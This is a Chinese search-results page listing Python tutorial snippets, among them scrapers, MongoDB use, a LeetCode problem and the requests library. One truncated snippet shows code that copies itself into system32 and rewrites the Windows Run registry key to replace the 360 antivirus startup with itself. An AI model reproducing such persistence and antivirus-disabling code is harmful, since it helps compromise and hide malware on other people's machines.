搜索到与相关的文章
Python

python基础语法

第一个Python程序交互式编程交互式编程不需要创建脚本文件,是通过Python解释器的交互模式进来编写代码。linux上你只需要在命令行中输入Python命令即可启动交互式编程,提示窗口如下:$pythonPython2.7.6(default,Sep92014,15:04:36)[GCC4.2.1CompatibleAppleLLVM6.0(clang-600.0.39)]ondarwinType“help”,“copyright”,“credits”

系统 2019-09-27 17:56:51 2048

Python

python爬虫小案例_从豆瓣爬取多页的图书信息保存到数据库(MongoDB)

一、在豆瓣网爬取以下图书的信息:二、参考代码:1、连接MongoDB数据库,并且创建数据库和表importpymongomyclient=pymongo.MongoClient("mongodb://127.0.0.1:27017/")db=myclient['webCrawler']#创建数据库webCrawlerdatatable=db['Book_info']#创建Book_info表2、爬取数据并且存储到数据库importreimportpanda

系统 2019-09-27 17:56:44 2048

Python

LeetCode 腾讯50题Python实现之《二叉树的最大深度》

题目给定一个二叉树,找出其最大深度。二叉树的深度为根节点到最远叶子节点的最长路径上的节点数。说明:叶子节点是指没有子节点的节点。示例:给定二叉树[3,9,20,null,null,15,7],3/920/157返回它的最大深度3。思路BFS广度优先搜索,使用双端队列deque(因为性能比另外两种Queue好得多),在大循环内对二叉树的每个层做一次遍历,range(len(queue))使只遍历当前的层,每次大循环ans加1。由于每个节点仅访问一次,所以时间

系统 2019-09-27 17:56:23 2048

Python

python修改注册表终止360进程实例

本文实例讲述了python修改注册表终止360进程的实现方法。分享给大家供大家参考。具体实现代码如下:import_winregimportosimportshutil#复制自身shutil.copyfile(K3.exe,c:WINDOWSsystem32K3.exe)#把360启动改为自身run=_winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,"SOFTWAREMicrosoftWindowsCurrentVers

系统 2019-09-27 17:55:20 2048

Python

python进阶_浅谈面向对象进阶

学了面向对象三大特性继承,多态,封装。今天我们看看面向对象的一些进阶内容,反射和一些类的内置函数。一、isinstance和issubclassclassFoo:passclassSon(Foo):passs=Son()#判断一个对象是不是这个类的对象,传两个参数(对象,类)print(isinstance(s,Son))print(isinstance(s,Foo))#type更精准print(type(s)isSon)print(type(s)isFo

系统 2019-09-27 17:54:00 2048

Python

Python探索之实现一个简单的HTTP服务器

Python标准库中的BaseHTTPServer模块实现了一个基础的HTTP服务器基类和HTTP请求处理类。这在文章python探索之BaseHTTPServer-实现Web服务器介绍中进行了相关的介绍。然而,BaseHTTPServer模块中并没有定义相关的请求方法,诸如GET、HEAD、POST等。在BaseHTTPServer模块的基础上,Python标准库中的SimpleHTTPServer模块实现了简单的GET、HEAD请求。在该模块中,它沿用

系统 2019-09-27 17:53:34 2048

Python

解决Python抓HTML结构存入数据库转义报错问题

解决Python抓HTML结构存入数据库转义报错问题首先需求是这样的,抓一些资讯(带有标准的html结构入库),然后研究了半天,各种手动转义,尝试了很多种方法都没有效的解决,下面是有效的最后转义的方案,下面这种入库是没有转义符号的,和原html是一样的,如果前台需要带转义符号需要手动替换一下newSql=db.escape(param)sql='INSERTINTOzhixun(htmls)VALUES({})'.format(newSql)数据库比较懒了

系统 2019-09-27 17:53:17 2048

Python

经验拾忆(纯手工)=> Python-ORM之peewee:插件拓展(三)

声明本篇主要讲,关于peewee的一些拓展:包括新式CRUD-数据导入导出-信号-数据库反向生成模型。扩展官档:http://docs.peewee-orm.com/en...作者友好与peewee提问方式当我用到拓展模块的新CRUD时,文档给的内容少之又少。因为拓展的新CRUD是真的方便好用,和(PyMongo的用法差不多)但是功能却不全。并且与我们第二篇,讲的CRUD又不兼容。所以在难以取舍之际,我选择了提问。peewee作者在官档中详细说到。如果你有

系统 2019-09-27 17:52:46 2048

Python

python 数据类型

Python数据类型C++数据类型list列表定义:list1=['physics','chemistry',1997,2000]访问元素:list1[0]、list1[2:4]tuple元组+list列表dict字典定义:dict={'a':1,'b':2,'b':'3'}访问元素:dict['a']maptuple元组tuple与list的区别:tuple不可修改定义:tup1=('physics','chemistry',1997,2000)tup2

系统 2019-09-27 17:52:37 2048

Python

Python3网络爬虫之请求库requests的使用(五)

requests库的安装:ubuntu和windows下安装requests库:pipinstallrequestsrequests的介绍:Requests是一个优雅而简单的PythonHTTP库requests的文档:中文版:http://cn.python-requests.org/zh_CN/latest/英文版:http://docs.python-requests.org/en/master/api/requests的基本用法:Get请求:(一)

系统 2019-09-27 17:52:36 2048